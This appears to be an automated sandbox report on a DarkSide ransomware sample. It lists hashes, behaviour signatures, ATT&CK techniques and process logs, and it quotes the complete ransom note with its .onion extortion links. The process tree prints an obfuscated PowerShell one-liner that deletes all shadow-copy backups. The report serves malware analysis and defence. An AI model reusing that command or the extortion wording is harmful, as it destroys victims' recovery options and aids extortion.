darkside | 6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971

General

Target

3.exe
Size

17KB
MD5

9009593ebf5ea20407ab19bff045dc9d
SHA1

03c1f7458f3983c03a0f8124a01891242c3cc5df
SHA256

6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971
SHA512

fe24a401b35a5b1874bc90739f6fda1969456a13e1339f5b920e6fa659e82df0febc7fc3196ea854601e8773c356884a2516b660daafa944c3643b9d0be74fed
SSDEEP

384:SGyUrEk/yEoQE+yckIYN/pBa3AWK3T2oTboHblKR/o:l4klFypIYFpB/x9ngbd

Score

10^/10

darkside ransomware spyware stealer upx

Malware Config

Extracted

Path

C:\Users\README.31635a82.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (139) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2292-0-0x0000000000160000-0x0000000000170000-memory.dmp	upx
behavioral1/memory/2292-23-0x0000000000160000-0x0000000000170000-memory.dmp	upx
behavioral1/memory/2292-210-0x0000000000160000-0x0000000000170000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2292	3.exe
2292	3.exe
2056	powershell.exe
2292	3.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2292	3.exe
Token: SeSecurityPrivilege	2292	3.exe
Token: SeTakeOwnershipPrivilege	2292	3.exe
Token: SeLoadDriverPrivilege	2292	3.exe
Token: SeSystemProfilePrivilege	2292	3.exe
Token: SeSystemtimePrivilege	2292	3.exe
Token: SeProfSingleProcessPrivilege	2292	3.exe
Token: SeIncBasePriorityPrivilege	2292	3.exe
Token: SeCreatePagefilePrivilege	2292	3.exe
Token: SeBackupPrivilege	2292	3.exe
Token: SeRestorePrivilege	2292	3.exe
Token: SeShutdownPrivilege	2292	3.exe
Token: SeDebugPrivilege	2292	3.exe
Token: SeSystemEnvironmentPrivilege	2292	3.exe
Token: SeRemoteShutdownPrivilege	2292	3.exe
Token: SeUndockPrivilege	2292	3.exe
Token: SeManageVolumePrivilege	2292	3.exe
Token: 33	2292	3.exe
Token: 34	2292	3.exe
Token: 35	2292	3.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeBackupPrivilege	2676	vssvc.exe
Token: SeRestorePrivilege	2676	vssvc.exe
Token: SeAuditPrivilege	2676	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2056	2292	3.exe	28
PID 2292 wrote to memory of 2056	2292	3.exe	28
PID 2292 wrote to memory of 2056	2292	3.exe	28
PID 2292 wrote to memory of 2056	2292	3.exe	28

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f0f4c1f3fb34afe4cb1dcfc5d10cbc8b

SHA1
07e4c1a0c776b8552cabeaa91f19bd458ef5408a

SHA256
71978977a81803ec34792fd5d1f0577be42a631ce5f269a66fd36677c200fc41

SHA512
5227390e8c7528830a050a51594c12fddd42e03a33db05ea8a7db4695947fbb31251e84698b758052402e8b3d051cefeb442f72f12fb166c51f14dc89ba59f5c

Download Submit
C:\Users\README.31635a82.TXT

Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
memory/2056-10-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-7-0x00000000023F0000-0x00000000023F8000-memory.dmp

Filesize
32KB

Download
memory/2056-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-12-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-13-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2056-6-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2056-5-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2292-0-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download
memory/2292-23-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download
memory/2292-210-0x0000000000160000-0x0000000000170000-memory.dmp

Filesize
64KB

Download

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